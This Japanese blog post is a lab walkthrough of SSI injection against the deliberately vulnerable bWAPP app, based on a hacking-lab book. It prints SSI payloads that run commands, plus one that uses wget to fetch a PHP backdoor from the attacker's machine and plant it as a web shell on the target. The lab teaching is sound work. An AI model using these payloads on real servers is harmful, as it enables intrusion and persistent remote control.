bWAPP に対して SSI インジェクションを行う

WEBアプリケーション

この記事では、SSI インジェクションの説明及び bWAPP に対して SSI インジェクションを実際に行う方法を紹介します。

SSI インジェクション とは?

SSI とは Server Side Includes の略で、HTML コード中にWeb サーバ側で実行するコマンド等を記載することで実行結果を WEB ページに表示させる技術です。

この技術を利用して、WEBサーバが意図しないコマンドを実行させる等 HTML 生成に干渉する攻撃を SSI インジェクションと呼びます。

SSL インジェクションにより Web シェルを WEB サーバに設置する

検証環境

以下の環境でハッキングを行います。

役割端末IP アドレス
攻撃端末Kali linux10.0.0.106
ターゲット端末bee-box (bWAPP)10.0.0.105

bWAPP のインストールについては以下記事をご覧ください。

bWAPP にログインし「Server-Side Includes (SSI) Injection」のページを表示する

Kali で Firefox を起動し URL 部に「http://10.0.0.105/bWAPP」を入力し、 bWAPP にアクセスします。

bWAPP のログインページが開くので以下の通り入力し、ログインします。

Login: bee
Password: bug
Set the security level: low

画面右上のプルダウンメニューから「Server-Side Includes (SSI) Injection」を選択し、Hack ボタンをクリックします。

すると以下のページが表示されます。

ページの挙動を確認する

First name: と Last name: 欄に値を入力し、挙動を確認します。

以下の値を入力します。
First name: test1
Last name: test2

1行目は 「Hello <First nameに入力した値> <Last nameに入力した値>,」
2、3行目 は攻撃端末の IP アドレスが表示されるような WEB ページであることが推測できます。

次に、SSI を入力して挙動を確認します。

hostname 、pwd を実行するような SSI を入力値とします。
First name: <!–#exec cmd=”hostname” –>
Last name: <!–#exec cmd=”pwd” –>

すると、上図のようにコマンド実行結果が WEB ページに表示されました。
SSI の脆弱性が存在することがわかります。

この脆弱性を利用し、今回は WEB シェルをターゲット端末である bee-box に設置します。

WEBシェルを bee-box に設置する

Kali の「/usr/share/webshells/php」には、WEBシェルが格納されています。
ここにある「php-backdoor.php」を WEBサーバの公開ディレクリにコピーします。

root@kali:/usr/share/webshells/php# cp php-backdoor.php /var/www/html/php-backdoor.php
root@kali:/usr/share/webshells/php# cd /var/www/html/
root@kali:/var/www/html# ls
DVWA-master  index.html  index.nginx-debian.html  php-backdoor.php  share

アクセスできるようにするため、Apache2 サービスを再起動します。

root@kali:/var/www/html# service apache2 restart
root@kali:/var/www/html#

上記の準備ができたら、bWAPP のページで以下のように入力し、Lookup をクリックします。

First name: <!–#exec cmd=”wget http://10.0.0.106/php-backdoor.php -O /var/www/bWAPP/web_shell.php” –>
Last name: test (何でも良い)

すると以下が表示されます。

Last name: に入力した値のみが表示され、wget コマンドの実行結果は表示されませんでした。
実際に bee-box 上にダウンロードされたのかを確認するために、「http://10.0.0.105/bWAPP/web_shell.php」にアクセスしてみます。

すると以下のように WEB シェルが表示されました。これで、Kali 側で ターゲット端末である bee-box のコマンド実行やファイルのアップロード/ダウンロードを行えるようになりました。

「ハッキングラボのつくりかた」ではこのページからリバースシェルを起動したり、奪取したシェルでタブ補完が行う方法が紹介されていますが、目的は SSI インジェクションの理解なので、ここでは割愛します。

以上です。

くどり

この記事は「ハッキング・ラボのつくりかた 第7章 」をベースに作成しています。購入リンクは以下です。
※Amazonアソシエイトを使用しています。

コメント

タイトルとURLをコピーしました